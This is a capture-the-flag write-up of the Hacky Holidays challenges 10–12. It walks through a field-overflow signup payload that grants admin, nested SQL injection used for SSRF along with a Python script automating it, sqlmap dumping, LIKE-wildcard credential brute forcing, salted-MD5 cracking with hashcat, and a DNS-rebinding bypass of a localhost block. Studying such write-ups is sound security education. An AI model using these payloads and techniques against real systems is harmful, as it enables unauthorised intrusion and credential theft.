FLAG-9: flag{6e8a2df4-5b14-400f-a85a-08a260b59135}


Signup Manager : Flag-10

Description:

1
2
3
You've made it this far! The grinch is recruiting for his army to ruin the holidays but they're very picky on who they let in!

Challenge-URL: https://hackyholidays.h1ctf.com/signup-manager

Understanding the web-app

There isn’t really much functionality to the application. We have a register and login user functionality. Trying SQL-injection didn’t work in either login or register. After registering a user, we are redirected to https://hackyholidays.h1ctf.com/signup-manager without any functionality. So basically don’t have anything but register/login/logout.

Fuzzing/Recon

Directory brute-forcing https://hackyholidays.h1ctf.com/signup-manager/ we will get a README.md file(https://hackyholidays.h1ctf.com/signup-manager/README.md) with the following content:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# SignUp Manager

SignUp manager is a simple and easy-to-use script that allows new users to signup and login to a private page. All users are stored in a file so need for a complicated database setup.

### How to Install

1) Create a directory that you wish SignUp Manager to be installed into

2) Move signupmanager.zip into the new directory and unzip it.

3) For security move users.txt into a directory that cannot be read from website visitors

4) Update index.php with the location of your users.txt file

5) Edit the user and admin php files to display your hidden content

6) You can make anyone an admin by changing the last character in the users.txt file to a Y

7) Default login is admin / password

Important observation includes:

Solution

Most important piece of code from source code is while registering a new user:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function addUser($username,$password,$age,$firstname,$lastname){
    $random_hash = md5( print_r($_SERVER,true).print_r($_POST,true).date("U").microtime().rand() );
    $line = '';
    $line .= str_pad( $username,15,"#");
    $line .= $password;
    $line .= $random_hash;
    $line .= str_pad( $age,3,"#");
    $line .= str_pad( $firstname,15,"#");
    $line .= str_pad( $lastname,15,"#");
    $line .= 'N';
    $line = substr($line,0,113);
    file_put_contents('users.txt',$line.PHP_EOL, FILE_APPEND);
    return $random_hash;
}

The function creates a unique string by combining all the input from the user (username, password, age, firstname & lastname) into a single string and save it inside users.txt. The following pic depicts how the above function represents a user in the users.txt file.

The goal is clear, we need to set the last byte which represents ADMIN to ‘Y’ instead of ‘N’.

If we can insert 1-extra byte anywhere before ADMIN byte(last byte) and set lastname='NNNNNNNNNNNNNNY' the overflow will cause the value of ADMIN='Y' (each value shift’s 1 byte right, last byte of lastname becomes ADMIN’s byte value)

Most of the user input (username, password, firstname and lastname) are correctly stripped and constrained within 15 characters.

1 intersting property of integers in PHP is 100 === 1e2. similary 1000 === 1e3.

We have a limit on age to be within 3 characters and only 3 places are reserved for age in user string. So sending something like age=1e3 will evaluate age to 1000 (length=4, thus we get 1 extra character we needed).

So our exploit payload will have age=1e3 and lastname=NNNNNNNNNNNNNNY.

1
2
3
4
5
6
POST /signup-manager/ HTTP/1.1
Host: hackyholidays.h1ctf.com
Content-Length: 107


action=signup&username=username007&password=password&age=1e3&firstname=firstname&lastname=NNNNNNNNNNNNNNY

Login with username=username007 & password=password and we will be greeted with flag

FLAG-10: flag{99309f0f-1752-44a5-af1e-a03e4150757d}

There is also a URL on the solve page https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59 which currently says come back tomorrow. Probably for the next challenge


Flag-11

~No Description~ We can get the challenge URL after solving the 10th challenge.

1
Challenge Url: https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59

Understanding the web-app

The app initially presents us with Photo albums for years 2018,2019 and 2020. There are 1-3 images in each album.

  • album-2020 https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=jdh34k
  • album-2019 https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=59grop
  • album-2018 https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=3dir42

Photo’s in albums are fetched using the endpoint https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLzliODgxYWY4YjMyZmYwN2Y2ZGFhZGE5NWZmNzBkYzNh…

  • data parameter is base64 for JSON
    1
    
    {"image": "r3c0n_server_4fdk59/uploads/9b881af8b32ff07f6daada95ff70dc3a.jpg", "auth": "e934f4407a9df9fd272cdb9c397f673f"}
    
  • Backend fetches the image in the JSON if the auth key matches.
  • Changing the image path will change the auth key in JSON and the backend will error.

There is also a login page at https://hackyholidays.h1ctf.com/attack-box/login

Fuzzing/Recon

Directory bruteforcing https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/ gives us following endpoints:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
>> sapra@Macbook-Pro $  ffuf -u  https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/FUZZ -e php -D -mc 200

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.2.0-git
________________________________________________

 :: Method           : GET
 :: URL              : https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/FUZZ
 :: Extensions       : php
 :: Matcher          : Response status: 200
________________________________________________

api                     [Status: 200, Size: 2390, Words: 888, Lines: 54]
picture                 [Status: 200, Size: 21, Words: 3, Lines: 1]

We have 1 extra endpoint /api. Visiting https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/api tells different response codes app support:

1
2
3
4
5
200     Successful request with data returned
204     Successful request but with no data found
404     Invalid Endpoint
400     Invalid GET/POST variable
401     Unauthenticated Request or Invalid client IP

Furthur fuzzing /api/* gives us 401 which is Unauthenticated Request or Invalid client IP. So we need some kind of SSRF to visit this endpoint.

On furthur fuzzing the endpoint https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=jdh34k, we can confirm that it is vulnerable to sql-injection. POC:

  • 200 OK: https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=jdh34k' and true-- -
  • 404 Not found: https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=jdh34k' and false-- -

Here we can use sqlmap tool to dump all the tables and values in it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
>> sapra@Macbook-Pro $  sqlmap -u "https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=jdh34k"  --risk 3 --level 3 --dump

[01:25:57] [INFO] fetching current database
[01:25:57] [INFO] fetching tables for database: 'recon'
...
Database: recon
Table: album
[3 entries]
+----+--------+-----------+
| id | hash   | name      |
+----+--------+-----------+
| 1  | 3dir42 | Xmas 2018 |
| 2  | 59grop | Xmas 2019 |
| 3  | jdh34k | Xmas 2020 |
+----+--------+-----------+
...
Database: recon
Table: photo
[6 entries]
+----+----------+--------------------------------------+
| id | album_id | photo                                |
+----+----------+--------------------------------------+
| 1  | 1        | 0a382c6177b04386e1a45ceeaa812e4e.jpg |
| 2  | 1        | 1254314b8292b8f790862d63fa5dce8f.jpg |
| 3  | 2        | 32febb19572b12435a6a390c08e8d3da.jpg |
| 4  | 3        | db507bdb186d33a719eb045603020cec.jpg |
| 5  | 3        | 9b881af8b32ff07f6daada95ff70dc3a.jpg |
| 6  | 3        | 13d74554c30e1069714a5a9edda8c94d.jpg |
+----+----------+--------------------------------------+
...
  • We have 2 tables photo and album.
  • album.id is foreign-key to photo.album_id. This simply means they are called in conjunction. A simple query of getting all photos with hash=3dir42 would look like
1
2
3
4
5
$album_hash='3dir42'; # This parameter will be coming from user which have our sql-injection

$album_id = "select id from album where id='${album_hash}'";
$photos = "select id,album_id,photo from photo where album_id='${album_id}'";

we can use injection at album_hash to completely control what goes into $album_id. $album_id then goes into 2nd query, thus we can have injection in 2nd query also.

Sending something like https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=-1' union select '2','x','x'-- - would look like:

1
2
3
4
5
6
7
hash = -1' union select '2','x','x'-- -

QUERY-1:
    select id, hash, name from album where id=-1' union select '2','x','x'-- -
            
Query-2 (id from above query will be album_id in this here which in this case = 2):
    select id, album_id, photo from photo where album_id='2';

There is only 1 picture with album_id=2. The output of the above query 1 picture and thus we can confirm that we have 2 level injection.

Now because we can control 2nd query results too, our goal is to SSRF to /api/* endpoint as found above. Following sql-injection should manipulate photo location as we want.

URL: https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=-1' union select '-1\' union select 1,1,"../../../r3c0n_server_4fdk59/api/test"-- -','x','x'-- -

1
2
3
4
5
6
7
8
9
hash = -1' union select '-1\' union select 1,1,"../../../r3c0n_server_4fdk59/api/test"-- -','x','x'-- -

Query-1: 
    select id, hash, name from album where id=-1' union select '-1\' union select 1,1,"../../../r3c0n_server_4fdk59/api/test"-- -','x','x'-- -

Query-2 
    * album_id from above query => -1' union select 1,1,"../../../r3c0n_server_4fdk59/api/test"-- -
    
    select id, album_id, photo from photo where album_id='-1' union select 1,1,"../../../r3c0n_server_4fdk59/api/test"-- -

The img URL https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLy4uXC8uLlwvLi5cL3IzYzBuX3NlcnZlcl80ZmRrNTlcL2FwaVwvdGVzdCIsImF1dGgiOiI3MGI3Yzk0MjE1ZjE1YzYzNzA2N2RiOWU5YjFkZDFlMyJ9 containts base64 JSON

1
{"image": "r3c0n_server_4fdk59/uploads/../../../r3c0n_server_4fdk59/api/test", "auth": "70b7c94215f15c637067db9e9b1dd1e3"}

This successfully prooves that we can use sql-injection in 1st query to do sql-injection in 2nd query and manipulate the img-path to visit any URL we want. Now we have SSRF, our next step should be to look for all interesting endpoints under /api/* for which I wrote a python script to perform the above steps and fuzz for hidden endpoints

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def find(directory):

  unhex = ("1' union select 1,2,'../api/"+directory.strip()+"'#").encode("hex")
  url = """https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=-1'+union+all+select+unhex("{}"),"x","x"--+-""".format(unhex)
  r = requests.get(url).text

  val = re.search("data=(.*cL3VwbG9hZHNcLy.*)\"", r).group(1)

  x  = requests.get("https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/picture?data="+val)

  if "Received: 404" not in x.text:
    print(x.text, directory)

  return

directory_list = open("directory-fuzz.txt", "r").split("\n")

for directory in directory_list:
    find(directory)

After running the above script for a while with different directories, we will have hit for 2 API endpoints

1
2
/user -> Invalid content type detected
/ping -> Invalid content type detected

Next we can try fuzzing for parameters these endpoints take. Sending something like

1
find("user/?name=1") # we get response 'Expected HTTP status 200, Received: 400'

Status 400 from API documentation means Invalid GET/POST variable. Thus it means we have a way to find the parameters these endpoints accept. We can reuse the above script but for fuzzing parameters this time.

1
2
3
parameters = open("parameters.txt", "r")
for parameter in parameters:
    find(f"user/?{parameter}=1")

Above script reveal the following parameters:

1
2
/api/user has 2 parameters -> username, password
/api/ping has 0 parameters 

A bit of fuzzing the parameter username and password reveals

  • sending username=%&password=% returns Invalid content type detected
  • sending username=%&password=ZZZ% returns Expected HTTP status 200, Received: 204

Seems like the SQL query behind looks like

1
select * from table where username like '$USERNAME' and password like '$PASSWORD'

where $USERNAME and $PASSWORD are user input. As we can use ‘%’ in like sql queries, we can use this slowly leak the credentials.

1
2
3
4
5
select * from table where username like 'a%' and password like '%'; <- 204 
select * from table where username like 'b%' and password like '%'; <- 204 
select * from table where username like 'c%' and password like '%'; <- 204 
...
select * from table where username like 'g%' and password like '%'; <- HIT.. Invalid content type detected 

solver-h1-ctf-flag-11.py is the python script to brute force username and password.

This gives username = grinchadmin, password = s4nt4sucks.

We can log in with these credentials at https://hackyholidays.h1ctf.com/attack-box/login and get the 11th flag

Flag-11: flag{07a03135-9778-4dee-a83c-7ec330728e72}


Flag-12

~No Description~ We can get the challenge URL after solving the 11th challenge.

1
Challenge Url: https://hackyholidays.h1ctf.com/attack-box

Understanding the web-app

Visiting https://hackyholidays.h1ctf.com/attack-box we are given 3 IP addresses and an option to attack them.

  • IP=203.0.113.33: attack url = https://hackyholidays.h1ctf.com/attack-box/launch?payload=eyJ0YXJnZXQiOiIyMDMuMC4xMTMuMzMiLCJoYXNoIjoiNWYyOTQwZDY1Y2E0MTQwY2MxOGQwODc4YmMzOTg5NTUifQ==

Attack url is base64 encoded JSON:

1
{"target":"203.0.113.33","hash":"5f2940d65ca4140cc18d0878bc398955"}

Visiting the attack URL seems like it tries to DDOS the target URL. Currently, I wasn’t really sure whats the end goal.

Fuzzing/Recon

Trying a Directory search doesn’t reveal any hidden directory. Changing the target IP address to some other value gives an error. Trying injections on the target and hash parameter of JSON didn’t work either.

I tried GitHub Dorking, google hacking, s3 brute force, and many other recon tricks, none worked.

Next immediate step I can think of trying to crack the hash. Having the ability to change target-IP should give us some SSRF. So let’s try to crack the hash.

Since the hash is 32 characters, it should me md5. Trying to md5 the target IP-address in JSON does not produce the same hash as there is, in payload JSON.

1
2
>> sapra@Mabook-pro $ echo -ne "203.0.113.33" | md5
d9405256f5b33442222fe92371f20bd7 # not same as hash in {"target":"203.0.113.33","hash":"5f2940d65ca4140cc18d0878bc398955"}

That means there’s SALT added to Target-IP which basically is just some random word to make hashes more secure and non reversable. The hash can be formed in either of 2 ways:

  • hash = “IP + SALT” OR
  • hash = “SALT + IP”

hashcat support cracking both types of hashes as follows:

  • hashcat -m 10 FOR “SALT + IP”
  • hashcat -m 20 FOR “IP + SALT”
1
2
3
4
>> sapra@Mabook-pro $ echo "5f2940d65ca4140cc18d0878bc398955:203.0.113.33" > salt-ip.hash
>> sapra@Mabook-pro $ echo "203.0.113.33:5f2940d65ca4140cc18d0878bc398955" > ip-salt.hash
>> sapra@Mabook-pro $ hashcat -m 10 -a 0  salt-ip.hash rockyou.txt  --force
5f2940d65ca4140cc18d0878bc398955:203.0.113.33:mrgrinch463

Ok great, we have a hit. The SALT used to create the hash is mrgrinch463. We can verify it as

1
2
>> sapra@Mabook-pro $ echo -ne 'mrgrinch463203.0.113.33' | md5
5f2940d65ca4140cc18d0878bc398955 # this is same as original hash {"target":"203.0.113.33","hash":"5f2940d65ca4140cc18d0878bc398955"}

Lets try to change target ip to 127.0.0.1

1
2
3
4
5
6
>> sapra@Mabook-pro $ echo -ne 'mrgrinch463127.0.0.1' | md5
3e3f8df1658372edf0214e202acb460b

>> echo {"target":"127.0.0.1","hash":"3e3f8df1658372edf0214e202acb460b"} | base64
eyJ0YXJnZXQiOiIxMjcuMC4wLjEiLCJoYXNoIjoiM2UzZjhkZjE2NTgzNzJlZGYwMjE0ZTIwMmFjYjQ2MGIifQo=

Visit: https://hackyholidays.h1ctf.com/attack-box/launch?payload=eyJ0YXJnZXQiOiIxMjcuMC4wLjEiLCJoYXNoIjoiM2UzZjhkZjE2NTgzNzJlZGYwMjE0ZTIwMmFjYjQ2MGIifQo=

We get Local target detected, aborting attack. Seems like we need to attack localhost, but its not allowed. Trying few SSRF bypass tricks like

  • using decimal IP
  • Using Ipv6
  • DNS-rebinding
  • Using 302 redirect. …

I got DNS-rebinding working. Steps to reproduce:

It might not work on first go, so visit the URL multiple times.

  • DNS rebinding works on the logic of TOC-TOU(time of check, time of use). When checking the IP address against blacklist IP(127.0.0.1), the software makes a DNS query and gets IP=8.8.8.8.
  • This passes the blacklist check and do an original request to 7f000001.08080808.rbndr.us which then resolves to IP=127.0.0.1
  • The attack is not 100% reliable because the DNS server can send any IP for the host so we need to run it multiple times

On successful exploitation, we will be redirected to https://hackyholidays.h1ctf.com/attack-box/challenge-completed-a3c589ba2709 completion page with the last flag.

FLAG-12: flag{ba6586b0-e482-41e6-9a68-caf9941b48a0}

Aaaaaand we are done. SOLVED WHEEEE.

I really enjoyed solving all the challenges. They were really unique and fun to hack.

Written by Sapra.